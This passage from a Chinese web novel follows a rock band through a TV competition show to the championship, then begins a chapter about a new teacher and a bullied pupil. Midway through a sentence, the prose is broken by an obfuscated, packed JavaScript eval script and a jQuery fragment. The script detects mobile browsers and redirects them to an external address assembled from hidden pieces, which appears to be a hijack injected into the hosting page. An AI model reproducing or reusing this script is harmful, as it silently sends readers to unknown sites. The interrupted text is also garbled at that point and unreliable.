几天后,谢焰在微信上问姜珏:那个综艺什么时候开始录?我把时间空出来。 姜珏看到时真的很想翻白眼,同时又想笑,这一切其实也在她的预料之中。 确定了要参加《摇滚热夏》,接下来就是准备工作了。 节目计划制作十二期,在五月中旬上线,提前一个月就要开始录制。第一轮竞演由三十支乐队分别演唱自己的歌曲,现场乐迷实时投票,票数排在前十六名的乐队可以进入下一轮。 现在要定下的就是第一轮初登台的曲目,最好风格强烈,有代表性,又足够触动人心,能最大程度地调动现场情绪,好拿到一个高票成绩。 大家从以往作品中挑挑选选,找了出几首比较符合的歌曲,最后由姜珏敲定:“就《怒海!》吧。” 四月初,明日回信四个人如约来到秀果视频某影视基地,与另外二十九支乐队齐聚一堂,开始录制本季《摇滚热夏》。 正式录制前,节目组还给所有乐队的成员都做了尿检,这倒是大家没料到的。 跟拍PD是个亲和又耐心的姑娘,跟他们解释道:“咱们这毕竟是个大型项目,万一出现了个嗑药的,影响实在是不太好。希望各位老师都理解一下吧。” 姜珏道:“还嗑药呢,哪有那个闲钱啊。” 费暄连忙声明:“有闲钱也不能沾啊。” “嗐,也是因为以前确实吃过亏,不得不谨慎一点,绝对没有怀疑大家的意思。”PD又好声好气地提醒道,“还有就是,现在审核比较严,观众也越来越挑剔,有些敏感的、有争议的话题,就尽量不要说了。咱们都正能量一点,好吧?” 谢焰不以为然地嘁了一声。姜玺道:“理解,你们也不容易。” 这回邀请了三十支乐队,百来号人,圈内从没有过这么大规模的聚会。从江湖元老到近年新秀都来了,好多都是明日回信的熟人朋友,有一些虽然没有交集,但也有所耳闻。当然也有一些名不见经传的乐队,不知道从哪个犄角旮旯里挖来的,令人新鲜和好奇。 第一轮竞演计划分三天录完,录制从中午一直持续到夜里。每两支乐队交替之间都要重新布置舞台、换器材、试音调音,中途所有人还得吃饭休息。录综艺比想象中要复杂得多,是一个非常辛苦漫长的过程。 明日回信被排在最后一个登台表演,前两天就只能坐在那儿干等着,坐得腰都酸了。姜玺还带了电脑过来,边等边加班。 等待实在是一种煎熬,而看过了越多的乐队演出,这种煎熬的感觉也就越强烈。 这几天里,登台的每一支乐队都拼尽全力,力求呈现出最精彩的演出。场上流派众多,风格迥异,水平也有高有低。有让人看过即忘的平庸之辈,有惊艳全场的潜力新人,也有试图创新但并不被乐迷买账的老牌大咖。 这说到底是一场比赛,必然有其残酷的部分。每一支乐队的表现都被量化成了直观的票数,由高到低,优胜劣汰。 看着那些注定一轮游的乐队,明日回信四个人难免心有戚戚,同时也压力倍增——他们的表现将会得到多少票,排在第几呢?而排在第几对他们来说才算是保住了尊严呢? 很没想到的是,目前全场排名第一的正是蒋希声所在的黑释迦乐队。在一众后朋克、新金属、emo和迷幻摇滚中,黑释迦开辟了佛系摇滚这一神奇流派。以神神叨叨的歌词,充满宗教感的编曲,配合悲悯且富有爆发力的唱腔,独创出一种东方神秘感的摇滚曲风,十分另类独特,首秀便赢得了全场乐迷和常驻嘉宾的惊叹。 看到朋友的乐队拿到这么好的成绩,姜珏也挺为他们高兴:“我一直就觉得他们挺厉害的,之前只是没机会。果然吧,是金子总要发光。” 她对黑释迦也算是很熟了。主唱兼节奏吉他手是个文弱男青年,瘦骨伶仃的,一整个面无表情、面无血色,唱起歌来倒是挺有血性。 主音吉他手是个中年微胖男,脖子手腕上戴了好多珠串,看着就像那种跟风信佛的封建迷信暴发户。姜珏怀疑乐队的创作灵感大半都是从他身上来的。 鼓手是个人狠话不多的眼镜姐,也是蒋希声的前女友。两个人相爱相杀多年,从学生时代就是搭档,一起待过好几个乐队,闹得最凶时差点因为互殴进局子,但至今从未拆伙。姜珏对此不能理解,不过这也许就是贝斯手和鼓手令人难以捉摸的亲密关系吧。 等到前二十九支乐队全部表演完毕,终于轮到明日回信登台了。 他们毕竟已经大名在外,在场有不少同行都是他们的乐迷,又被排在最后一个出场,多少有点压轴的意味。面对这满场期待,四个人都不免压力山大,尤其是第一次参与正式演出的费暄,更是紧张得快头晕目眩了,生怕自己给大家拖后腿。 姜珏拍拍她的后背:“你当初还打过国际比赛呢,这点小场面算什么。” “那不一样,以前打比赛输了赢了都算我自己的,这回要是发挥不好就连累大家了。” “你还怕连累大家呢,当初说要加入我们时不挺狂的吗?”姜珏拉着费暄额头上的运动发带弹了一下她脑袋,“别想那么多,打就是了。” 明日回信在一片欢呼中登场了,比起数万人的音乐节,这确实只能算小场面。前奏响起,全场立刻沸腾起来。《怒海!》是明日回信的经典歌曲,几乎无人不懂。因为已经演出过太多次,每个人各司其位,都发挥得松弛圆熟、游刃有余,费暄比起三位前辈也毫不逊色。 姜珏唱至高潮处时,台下乐迷也兴奋地举起双手大声合唱,甚至连几位常驻嘉宾都忍不住起身喝彩,堪称一场酣畅淋漓的完美演出。 《怒海!》来自明日回信的首张专辑,流传时间足够长,传唱度也足够广,早已是入圈必听的曲目,贯穿了太多人的成长岁月,陪伴他们经历过喜悦与挫折,最终在这历久弥新的共鸣中,沉淀出一种名为情怀的东西。这就是明日回信选择演唱这首歌的理由,也是他们的胜算所在。 投票结果即时公布,明日回信的票数比黑释迦仅少三票,排在全场第二名。大家对这个成绩已经非常满意,紧绷了三天的神经也终于暂时松懈下来。 首轮竞演结束,十四支乐队遗憾淘汰。剩下十六支乐队将抽签两两对决,改编一首对方乐队的歌曲。对决中胜出的八支乐队直接晋级,未胜出的八支乐队将进行二次比拼,争夺剩余的两个晋级名额,最终将有十支乐队进入下一轮。 下次录制就是半个月之后了,这半个月里大家可以为二轮竞演充分做准备。 明日回信在抽签中确定了二轮竞演的对手为灿葵乐队。灿葵是一支年轻乐队,走校园朋克风格,仅出过一张专辑和一张EP,歌曲大多活泼明快,少年感足。 大家凑在一起听完了灿葵的歌,决定选择一首讲述友情的《拾柴焰火》进行改编。在改编方向上又有了争议——依然是姜珏和谢焰各执一词,然后照例吵了一架。 为了尽可能多地收集节目素材,乐队在排练时也有节目组的工作人员跟拍。于是明日回信队内吵架的场面也一并被拍摄下来了。 半个月后,大家重回影视基地录制节目。这回没等太久,明日回信与灿葵排在第二组出场,互相以自己的风格演绎对方的歌曲。 灿葵选择了一首较为冷门的《告别时刻》进行改编,出自明日回信第三张专辑《折帆》。原曲伴奏化用了巴赫《上帝的时间是最好的时间》,是一首颇具古典风味的抒情摇滚。 灿葵虽然锋芒亮眼,但毕竟还年轻,音乐积淀和演出经验都不算丰富。而明日回信几乎算是中生代乐队里最优秀的一支,演出效果自然更胜一筹,竞演票数很轻松地超越了灿葵,顺利进入第三轮。 八支乐队稳妥晋级了,接下来就是另外八支乐队的二次比拼。这部分内容明日回信无需参与录制,姜玺便回去上班了,而姜珏、谢焰和费暄都选择留下来观摩比赛,好充分摸清各家的风格与水平,为日后竞演做准备。 又过半个月,第三轮竞演正式开始。各支乐队需从几位常驻嘉宾的作品中选择一首歌进行改编,总票数排名最末的两支乐队将被淘汰。 几位常驻嘉宾都是知名音乐人,出过不少脍炙人口的大热歌曲。明日回信决定挑选一首知名度相对较低的作品,尽量避开原版留在大众心里的经典印象,让乐迷更容易接受他们改编的版本。 经过一番讨论,大家选了一首表达思乡情结的《当风又吹起时》。原曲是乡村风格的歌曲,大家决定改编成英伦摇滚风格,在编曲上做了许多巧思,还多请了个乐手,在演奏中再加入一把吉他。 明日回信的版本听起来清爽惬意,曲中仿佛飘散着乡野草地的清新气息,又带着微薄的忧愁,像一个久别故乡的离人在回忆自己无忧无虑的少年岁月。 一曲结束后,台下乐迷反响不错,常驻嘉宾也给予了很高评价,然而最后票数并未达到大家的预期,在已登场的乐队中排名倒数第二。 虽然他们编曲精巧,整首歌听起来也十分舒服流畅,但相比其他情绪浓烈、激情洋溢的歌曲演绎,他们呈现的舞台效果还是略显平淡了。 最终明日回信拿到全场第八名,险险进入下一轮。 这回的滑铁卢让大家都有些受挫。姜珏也不禁思考,之后是不是该换一种思路参加竞演?这不是什么音乐技艺展示,而是正儿八经的比赛。要想赢,就得千方百计从乐迷手中拿到尽可能多的投票。 想赢不丢人,但要为了赢而去迎合、去讨好,这还算摇滚吗?就像谢焰所说的,还有节操吗? 输了不甘心,但她也不想做连自己也感动不了的音乐。 第三轮竞演结束后,所有乐队都得到了一段相对较长的休息时间。在此期间姜玺和姜珏给夏夏过了两周岁生日。又过了一周,《摇滚热夏》正式上线秀果视频。 因为《摇滚热夏》题材新颖,又有强大的宣发,节目一经播出便得到了大量关注。 第一期播完时大家的感受还不明显,第二期有明日回信的完整首秀,播完后明日回信的社交账号新增了数万粉丝,音乐软件上的播放数据也涨了好几倍。大家都被这泼天的流量砸懵了,出道这么多年,除了一开始参加《校园新声》时,他们哪里有过这么高的热度? 而黑释迦在《摇滚热夏》里一鸣惊人,从鲜为人知的地下乐队一跃成为炙手可热的新星。蒋希声最近简直都乐开了花,连半夜睡觉都会笑醒。 这还仅仅是开始。 第三期节目播完,姜珏感觉有点不对劲了——怎么连当初她和谢焰吵架的场面都被剪进了正片里? 重新回到影视基地时,她没好气地质问跟拍PD:“不是说要正能量吗?拍我们吵架算怎么回事?这下丢脸都丢到全国人民面前了!” 谢焰道:“这时候嫌丢脸了。当初你要是态度好点,少说几句不就没事了?” “当初你态度好了?你说得少了?” 姜玺劝道:“你们俩都消停点吧,搞不好这段又要播出去了。” 费暄看着几位前辈,只能挠头。 PD赔笑脸道:“哎呀,我们这也是为了增加节目的趣味性。而且综艺都得有人设,一来能让观众记住你们,二来也能提高人气。你们放心,节目剪辑都是很有分寸的,绝对不会影响明日回信的形象。” 节目组早已深谙网络传播精髓,漫长的录制过程最后都凝练在一个半小时的正片里,复杂多面的人物也被精简成一个个标签,即所谓的“人设”。在信息爆炸的时代里,最重要的是先被记住,然后才能引发观众的兴趣和好奇,进而去深入地了解。 再加上正片里出现了姜玺现场加班的镜头,也有关于费暄从职业网球手转型乐队鼓手的一句话简介,于是她的早年经历和家世背景也被网友挖掘出来了。 由此明日回信各位成员都有了自己的人设——一个才华横溢的暴躁主唱,一个随地加班的职场精英贝斯手,一个桀骜帅气的键盘手,再加一个初生牛犊的豪门千金鼓手,各个都有趣且吸睛。 第四轮竞演如期开始,分两场进行,第一场改编指定曲目,第二场演唱自己的歌曲,两场票数合计排在最末两名的乐队将被淘汰。 第一场节目组提供了八首歌给八支乐队进行改编,排名高的乐队优先选歌。由于明日回信上轮排名第八,失去了选择的权利,只能得到一首被挑剩下的歌。 别人都不选的自然不会是什么好东西,原曲《周日天气晴》是一首工工整整的糖水歌,每个小节都已经铺得完整圆满,很难再抽走或加入什么新东西。 四个人绞尽脑汁,决定把这首歌的节奏放慢,又改了副歌的几个音,让乐句的起伏变得更平缓些,从轻快的小甜歌变成一首沉郁的作品。听起来不再是期待周日天气晴,而是变成了怀念周日天气晴。 这回明日回信的演出反响还不错,排名比上回有所前进,位居第五。 因为之前播出的内容引起了一些热议,主持人还特意问了台上的姜珏和谢焰:“你们俩平时关系怎么样?” 姜珏说:“挺好的,十几年老朋友了。” 主持人问:“两个人经常吵架吗?” 谢焰说:“比起跟别人是吵得多一点。” “那还算关系好?” 姜珏反问:“都吵十几年了也没打过架,这还不算关系好吗?” 台下爆发出大笑和起哄声。 第一场竞演结束,半个月之后回来录制第二场。这时姜玺的假期全部用完了,已经请无可请。好在之前播出的节目引起了很好的反响,几个看过节目的同事在公司里一宣传,大家全知道了她参加综艺的事,一时间还冒出不少迷妹迷弟。上司也觉得挺有荣光,就给她特批了假期。 而费暄正面临毕业,综艺录制期间也刚好赶上了论文筹备期。她糊弄着捣鼓完了毕业论文——自然是写得比较水,勉强跟导师交了差,中途还抽空回学校完成了答辩,接下来总算可以心无旁骛地投入竞演。 第二场竞演极为关键,直接决定了明日回信是走是留。赛程已到白热化阶段,而现在剩下的八支乐队都非等闲之辈。明日回信第一场的排名不算靠前,想要顺利晋级并不是那么容易的。 大家选了最近一张专辑里的《灵魂的背面》,原曲是一首偏阴郁风格的歌,不过真到表演时当然不会按照原样呈现。 今天明日回信排在最后一个出场,等待时大家便先欣赏其他乐队的表演。台上一曲刚结束,谢焰道:“唱歌的讲中文,听歌的也讲中文,干嘛非要拽那么多英文歌词呢,是能显得更有品位吗?” 姜珏道:“人家爱拽就拽呗。你意见这么大,不会当年没考过四级吧?” “四级有什么难考的,你也就只能拿这个说道了。” “那你六级过没?” 谢焰反问:“难道你过了?” 这下姜珏不吭声了。 这俩人当初一个艺术生,一个不务正业的法学生,非要比成绩也是菜鸡互啄。费暄默默地低头偷笑,姜玺无奈地跟PD说:“这段到时候也别播了吧。” 目前其他七支乐队都出场完毕了,黑释迦两场综合成绩排在第六,如果最后出场的明日回信能够挤进前六名,那黑释迦就必然要离开了。 黑释迦下台后,有工作人员过来采访他们此刻的心情。 蒋希声对着镜头说:“我跟着明日回信一起演出两年了,这首歌的几个版本我都过参与过。姜珏那人我太熟了,今晚她会怎么改编,改完会是什么样的效果,我想都能想到。” 所以他们作为第七个出场的乐队,之前做准备时也考虑到了这一点。占据先机呈现一首风格接近的歌,那么乐迷就会对随后出场的明日回信产生审美疲劳,最后投出的票数也就更低。 工作人员问她:“觉得黑释迦今晚能保住第六名的位置吗?” 蒋希声笑道:“先看完明日回信再说吧。” 然而明日回信今晚的改编没有沿用之前的几个版本,也没有使用姜珏的主意,而是由谢焰主导。 他拉来了以前在乐团的人脉,在演奏中加入大提琴,编曲采用了哥特式风格,充满阴冷诡谲的美感。 姜珏在演唱时特意用了歌剧式唱腔,姜玺的和声围绕她,正像是一个灵魂在吟唱,而背面的思绪在不停纠缠。副歌部分爆发力十足,整首歌如同一场在废弃古堡里上演的华丽歌剧,震撼了全场。 明日回信一举拿到了最高票数,两场综合排名第三,顺利进入第五轮。而黑释迦只能抱憾离开。 公布结果时,蒋希声看向那激动欢呼的四个人,心里虽然难免失落,但表情也有几分释然,仿佛对这个结果早有所料。 输给的是明日回信,也不算遗憾了吧。 姜珏看了过来,两个人相视一笑,一切都无需多言。蒋希声主动走到她面前,与她紧紧拥抱在一起。 她拍了拍姜珏的后背,低声对她说:“一定要拿冠军。”松开后,又指着谢焰愤愤道:“下次再灌你两瓶!” 时间已经来到六月下旬,《摇滚热夏》也播出第六期了。节目渐入佳境, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349101|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热度一涨再涨。明日回信第一次得到如此巨大的关注度,广告合约纷至沓来,还有待映电影来邀请他们创作并演唱主题曲。但现在还不是飘飘然的时候,仍有两轮竞演在等待他们。 第五轮竞演跟之前都不一样,每支乐队需要加入一名歌手来共同演唱歌曲。助演歌手的名单已经初步确定,都是跟秀果视频合作比较密切的艺人,咖位有高有低。姜珏看完了名单,问跟拍PD:“助演歌手必须得从这里面选吗?能不能自己找?” PD说:“自己找也行,但最好是有一定名气的。你们如果有什么中意的人选也可以跟我们说,我们试试看能不能请过来。” 姜珏道:“如果我能拉来叶英华呢?” “谁?叶英华?!”PD激动道,“姐,您还有这人脉呢?您要是能把叶英华请来,别说是我了,我们总导演都能给您跪下!” “我先试试吧,不一定行。” “您跟她熟吗?有几成把握?” “不好说。”姜珏诚实道,“可能一成也没有。” 叶英华这几年已经是隐退状态,不再公开露面了。也不是没有一些大型晚会或广告商想请她出山,但都被拒绝。这回要是能请到她莅临《摇滚热夏》,必然能让节目热度再暴涨一波。而明日回信能有这么一位重量级的天后来助演,六进五的晋级赛也就稳了。 但姜珏确实没什么把握。 自从八年前跟着叶英华巡演回来后,两个人就再没见过面。逢年过节姜珏会给叶英华发个信息,对方偶尔回复,也不会多寒暄。要说交情,那是浅得不能再浅了。姜珏之所以会产生邀请她的念头,是因为记得她说自己年轻时也玩过摇滚,不过后来放弃了。 随着《摇滚热夏》的热播,不少知名艺人都在追更,还在社交平台分享自己的观看心得。那么作为摇滚前辈的叶英华,是不是也在关注这档综艺呢?她看到明日回信的表现了吗?会感叹他们这十几年的成长吗?会不会也想要以一个摇滚歌手的身份登上这个舞台? 试一试吧,姜珏对自己说,试一试就知道了。 她给叶英华发去信息,先是客气地问候了两句。叶英华不多久就回复了,还主动提到了综艺的事,说明日回信在节目里表现得很不错。于是姜珏开门见山地问:下场比赛每支乐队都需要一位助演歌手。我们做了个春秋大梦,梦见请到了您来助演,您觉得这个梦能实现吗? 过了一会儿,叶英华发来了一个捂嘴笑的黄脸表情。姜珏摸不准是什么意思,便冒昧地打了电话过去,电话很快接通了。 那边是熟悉的声音,比当年更和蔼沉静了一些:“喂。” 姜珏顿时有些紧张,像当年那样叫了声:“叶老师。” “嗯。”叶英华笑问,“想邀请我去给你们助演?” “对,当年您给了我一个机会跟着您演出,我总不能忘本,现在也给您一个机会跟着我演出,也算礼尚往来了。” 叶英华听她这话简直是得了便宜还卖乖,好笑道:“那我是不是还得谢你了?” “您要谢也行。” 叶英华又给她逗笑了。姜珏趁着她心情不错,认真地再次问道:“叶老师,您能来吗?我们非常真诚地邀请您。” 叶英华道:“我都多大岁数了,舞台就留给你们年轻人吧。” “您今年五十五岁,要是干别的工作都该退休了。”姜珏说,“到退休的年纪也没能再登上一次摇滚的舞台,您就不觉得遗憾吗?” 叶英华沉默了。 姜珏不再追问,只是说:“谢谢您今天接我的电话,希望很快可以有机会再见面。” 两天后,她收到叶英华发来的消息:你把节目负责人的联系方式给我,我让经纪人去对接。 叶英华确定了要参加《摇滚热夏》,节目组喜从天降,明日回信也感到无上荣幸,费暄更是惊喜得如做梦一般。当初她能加入乐队已经是乐开花了,哪里想到还能有今天,竟然连叶英华都要成为她的临时队友了! 那天明日回信在排练室里终于见到了叶英华。她比当年更低调了些,穿着打扮很朴素,人也没什么架子。四个人对她十分敬重,礼貌地主动打了招呼。她一一扫过他们的脸,笑道:“变化很大。” 乐队里只有双胞胎姐妹还是最初的成员,键盘手和鼓手都换了,而留下的姐妹俩也不再是当初稚嫩的模样。 一转眼就是十三年,这十三年间足够经历太多,也足够改变太多。此间的坎坷与信念,她都能够想象。 经过简单的问候,接下来就是要讨论选歌了。 姜玺问:“您之前听过我们的歌吗?除了在节目里唱过的那些。” “听过。”叶英华说,“这几天还重新听了一遍,挑了几首备选的。” 姜玺笑道:“我们也挑了几首,看看有没有重合的。” 因为叶英华的声线偏轻盈柔韧,高音部分尤为出色。而姜珏的音色更厚实有力些,擅长中音。合作的歌曲应当尽量发挥出两人的优势,同时保证两种音色互相和谐,合唱部分还要避免让姜珏的声线盖过叶英华,因此选歌和改编都需要格外用心。 好在比赛已经进入了最后的阶段,赛程慢下来了,大家有足够的时间为演出做准备。 明日回信和叶英华选出的歌里仅有一首重合,而这并不是姜珏最想唱的那首。叶英华大方道:“要不你们来定吧,反正我也只是助演,还是以你们为主。” 竞演的输赢对她来说不重要,她只是来享受舞台的。而且她对自己的唱功早有充分的底气——无论是什么样的歌曲,她都有能力驾驭好。 最后大家选定的曲目是来自第二张专辑里的《千万人》,这首歌写于姜珏跟随叶英华巡演的路上。那时她看到叶英华被千千万万的乐迷簇拥,出于震撼、妒忌和一种对比之下的自知之明,写下了这首歌。 时过境迁,如今她要站在这个夏天最热闹的舞台上,和叶英华一起演唱它。 正式录制那天,久未公开露面的叶英华引起了全场的关注,其他乐队的成员纷纷过来和她打招呼,又吃惊又羡慕地对明日回信感叹:“你们真牛啊,连她都能请来。” 明日回信排在第三个出场,当台上灯光亮起,姜珏用拨片弹起轻巧的前奏,叶英华柔和地开口唱起主歌。伴奏逐渐递进,姜珏在副歌部分与她合唱,两人分唱两个声部,姜珏坚实的中音与叶英华婉丽的高音交相辉映,像绚丽的烟花在夜空中层次绽放,如瑰如火,至美至烈,直叫人头皮发麻。 舞台上,姜珏与叶英华看着彼此的双眼唱完了最后一个音。整曲结束时,姜珏已是眼含热泪,情不自禁地拥抱了叶英华。 今晚的她终于不再是那个站在巨星身后、很少被镜头扫到的伴唱歌手。她花了十三年,终于在这个舞台上成为被千千万万人注视的焦点。 毫无意外的,明日回信又拿下了一个全场最高票。 录制结束后,大家都感到疲惫而畅快,叶英华也很久没经历过这么尽兴的演出,她问工作人员:“今天的演出什么时候才能在网上看到?” “今天录的是倒数第二期的内容,还有大半个月才上线呢。” 姜珏道:“下次录的就是总决赛了。” 叶英华问他们:“有把握进前三吗?” 大家都笑而不语,只有姜珏心直口快:“才前三?有点瞧不起人了吧。” 叶英华笑了笑,有些怀念地说:“你这股劲儿有点像我的一个老朋友。” 姜珏问:“不会是于老板吧?” “当然不是他。” “你们当年一起组过乐队是吗?” “嗯,很年轻的时候了。”叶英华说,“没混出什么名堂,也挣不到钱。后来刚好有一个机会去香港,我就走了。” 姜珏好奇道:“这么多年您后悔过吗?” 叶英华认真地想了想:“没有。”又问她:“你呢?” 姜珏笑道:“我也没有。” “那真好。”叶英华手里正好开了一瓶赞助品牌的饮料,她用自己的瓶子去碰了碰姜珏手里的瓶子,笑道,“为我们干杯。” 《摇滚热夏》播出过半,明日回信已成为节目里人气最高的乐队之一。现在留下的乐队只剩最后五支了,节目组给所有人都做了访谈。在采访姜珏和谢焰时,自然也没忘了问他们对彼此的评价。 虽然有点不情不愿,但姜珏还是对谢焰表示了认可:“在我见过的那么多键盘手里,他要是排在第二,就没人能排第一了。” 谢焰也承认:“唱得好的没她会写歌,会写歌的没她唱得好,就算两样都比她强,那弹琴也很难超过她。” 费暄被问到作为队内最年轻的成员是什么感受,她答:“有点压力,不过我觉得自己表现得还算挺好吧,反正他们老夸我。”说完了又不是太有底气,挠了挠头:“应该不是哄我的吧?” 姜玺则对着镜头说:“乐队里各个都不省心,要让大家凝聚起来、互相高效地配合,其实没那么容易。” “所以你是队内唯一的老实人吗?” 姜玺沉吟片刻:“倒也不是。” 工作人员也有问起谢焰:“网友们都很好奇,你为什么保留了前任键盘手的习惯,每次演出都要戴上帽子?是为了纪念他吗?你们之前关系很要好吗?” 谢焰道:“这个就不说了,说了也没法播。” 姜珏被问到节目结束后的计划,说:“之前也写了一些歌,本来是想做成EP在年中发的,不过因为参加节目就耽搁了。现在是打算再多凑几首歌,明年做成正规专辑再发。” “这回新专辑是什么主题?” “是关于新生的,打算送给一个朋友,她就快要出狱了。” 这一段因为不太正能量,后来果然没有播出。 很快就到了最后一轮竞演,这回五支乐队需要演唱自己创作的新歌——关于这档综艺,关于这个夏天。这是节目组从一开始就给所有人布置的任务,不过最后只有五支乐队有幸进入决赛,并在决赛中完成新歌的首演。 这一次就要决出本季《摇滚热夏》的乐队Top 5了。 明日回信为决赛写了一首《夏日回信》,把乐队名字融进了歌名中,创作灵感也正来自于乐队这几个月的经历——首秀征服全场,然后轻松碾压对手,再到中途遭遇滑铁卢,又在不利局面中完成逆转,最后一路高歌挺进决赛。 到了此时,乐迷们已经见识过了各支乐队、各个流派和各种演绎,不必再用那些华丽繁复的技巧去向他们表现什么了。最后的最后,还是真诚直白的音乐最为直击人心。 《夏日回信》的歌词质朴而隽永,旋律动人又朗朗上口,编曲也并不复杂,是一首传统的摇滚歌曲,热烈、真挚、满腔热忱。在这大道至简的歌曲中,姜珏可以最大程度地凸显自己的优势——歌声中的感染力。 音乐究其根本,还是歌者和听者之间心与心的共鸣。 当这一曲结束,不光是台下乐迷,连各位嘉宾与其他乐队成员也潸然泪下。 明日回信拿到了实至名归的Top 1。 在从天而降的缤纷彩片中,四个人互相拥抱、欢笑。姜珏接过那座沉甸甸的水晶奖杯,仍感到有些不真实。 她从来不想做连自己也感动不了的音乐,也不愿意去迎合、去讨好。虽然这不是什么音乐技艺展示,而是一场比赛,但她终究凭借自己和同伴们的音乐技艺问鼎冠军。 她在十三年后的今天,给那个十九岁充满梦想的不知天高地厚的自己,寄出了一封漂亮的回信。 《摇滚热夏》的录制全部结束,而最后一期的正片将在下周末播出。节目掀起了相当大的热潮,摇滚乐与乐队文化第一次这么大规模地被展示、被看见,吸引了无数的人对此产生兴趣,并参与其中。这个一直游离于主流之外的小圈子,在这个夏天被盘活了。 而明日回信的四个人只想先放空自己,好好地休息一阵。毕竟这几个月高强度的竞演实在是叫人筋疲力竭,大家都已经挨到极限了。 趁着最后一期正片还没播出,明日回信在大众眼里尚未登顶,这天姜珏开车来到市郊的第三女子监狱,在监狱外面的停车场停好了车。 她对这里已经很熟悉了,这十三年里来过许多次。走进大厅,她在会见接待中心办好了手续,由狱警领着去了会见室。 她在12号窗口等了一会儿,没多久狱警带着一个女子走过来。女子在她对面坐下,两个人相视一笑,一起拿起了旁边的电话听筒。 “你好久没来了。”方秀湖说。 姜珏笑道:“最近忙,这两天终于闲下来了。” 23.从一道缝隙看黄昏(乐迷视角) 当上人民教师快满一个月了,但段雪晨还是没能适应自己的新身份。 每天起得比鸡早,晚上还得坐班晚自习,教的又是数学这种主科,课时多,交上来的作业堆积如山,日子过得比亲自上学还苦。 她读书时本来也不是什么乖学生,毕业时随便参加了个教招考试,没想到竟考上了,也就误打误撞当上了老师。结果多年寒窗苦读换来了继续寒窗苦读,她悔不当初。 早操时间,段雪晨看着那群同样没睡够的小兔崽子们,一边打呵欠一边想,看来自己是真入错行了。 今年八月末,她来到市二十三中学报到入职。这是一所位于郊区的公立初中,设立时间不算长,生源基本都来自周边乡镇,包括本地孩子及外来务工人员子女。因为学校尚新,硬件设施还不错,不过学风一般,成绩一般,师资也一般,而段雪晨自认给这个一般的师资又注了点水。 她早晨起不来太早,只能匆匆去食堂打包了包子豆浆。现在趁着早操时间,她一边慢悠悠地走上教学楼,一边享用今天的早餐。 走到最后一个楼梯拐角时,有个身影突然出现,差点就撞上了她。她顿时一个慌乱,生怕是年级组长在巡楼,满嘴的包子险些噎着了。她紧张地与那个人对视,那个人也紧张地看着她,一时分不清谁才是被抓包的学生。 缓过了那阵,段雪晨看清了面前是个怯生生的小女孩,于是松了口气。又暗骂自己没出息,现在自己可是光荣的人民教师了,怎么还动不动就怕被抓呢。 “老师好。”那女孩礼貌地先向段雪晨问了好。 “唔。”段雪晨嘴里塞满了,只能含糊应了一声,故作稳重地朝那女孩点了点头。 女孩下楼去了。段雪晨认得她,虽然不知道叫什么名字,但在这层楼打过几次照面。 那女孩看着十三四岁,正是抽条的年纪,身材虽然瘦弱,个子倒是不矮,远看像一根竹竿儿。那身校服已经穿旧了,套在身上松松垮垮的,走路时总是低着头,整个人看起来朴素、安静、怯弱。 在二十三中里,这样的孩子并不少。 段雪晨所教的学生们,大多都是城市“低端人口”的后代。 中午时,6班班主任冯老师来找段雪晨,说自己明天上午请了假,让她帮忙代上一节课。段雪晨心里虽然不大情愿,但毕竟是个初来乍到的新人,也拉不下脸来拒绝人家老教师,便答应了。 第二天早上她来到初二6班代课,在讲台上看到了那个昨天在楼梯间里差点撞上她的女孩,不由得就多留意了她一下。 女孩坐在倒数第二排,在段雪晨讲解例题时一直盯着黑板,看似认真,但段雪晨知道她其实在走神。不过比起那些直接在课堂上睡觉的、讲小话的、看课外书的,她已经算乖了。 讲课中途照例要停下来强调一下纪律,下面的学生们暂时消停了一会儿。段雪晨接着讲到下一个例题,给出答案之前先向全班提问,无人举手。 于是她下意识就点到了那个女孩——全班唯一与自己有过交集的学生。那女孩有些畏缩地站了起来,表情茫然中带着一点窘迫。 段雪晨问:“你觉得答案应该选哪一个?” 她不太确定地小声答道:“A吧。” 这时后排的几个男生发出了低笑,其中一个还用不怀好意地语气重复:“A呗!” 于是那几个男生笑得更大声了,还带动了周围更多的人发出窃笑和私语。那女孩没有什么反应,好像对这一切早已习惯。 “安静!”段雪晨提高音量道,制止了这阵突然的嬉笑。她当然听得出来刚才的那句“A呗”是什么居心,初中男生的低俗和猥琐她在这一个月里早有见识。 她让那女孩坐下了,转身在黑板上一步步推导出答案,正确选项应该是C。 下课铃响了,段雪晨如同刑满释放,抱着教案本就溜。离开教室前她又朝那女孩望了一眼,见她一个人默默地俯趴到了桌面上。 这天下午上完最后一节课,段雪晨留在办公室里苦哈哈地加班批改作业。批了半天,肚子饿得咕噜乱叫,她思来想去还是身体重要,把笔一撂就冲去食堂。 出了办公室,快走到6班门口时,她看见前面有几个男生正嬉笑着扬长而去,一个女生蹲在地上捡书本。那背影看着有些眼熟,段雪晨认出来了——又是她啊。 她走到女孩面前,蹲下来帮她一起捡书,看到书的封皮上还被写上了一些侮辱性的词汇。 女孩见面前突然多出来两只手,有些惊讶地转头一看,道:“老师好。” “是他们刚才干的吗?”段雪晨把捡起的书递给她。 女孩把书本都抱在怀里,站了起来,没有回答这个问题,只是低着头对她说:“谢谢老师,老师再见。”然后转身就钻进了教室里。 连跟老师告状都不会吗? 段雪晨便也不再多管了,吃饭要紧。 又过几天,国庆长假就要到了,别说是那些半大的小兔崽子们,就连各位老师也是格外兴奋,课间在办公室里聊起了假期的计划。 这时有学生在门口报告了一声,想要进来。段雪晨往那边一看,又是那个女孩。女孩也看到了她,然后走到冯老师的办公桌旁,看样子是来补交一张卷子的,交完就默默出去了。 段雪晨伸长了脖子瞥过去,从试卷上终于知道了那女孩的名字——宋小苇。 她心里还记着前两天的事,便说:“冯老师,刚才那女生叫宋小苇是吧。我前两天在6班上课还点了她起来回答问题,感觉挺胆小的一个女生。” 冯老师说:“是挺胆小的,不怎么爱说话,人也不大机灵。这不,这卷子之前就说了要今早交,她还给记错时间了,现在才补过来。” 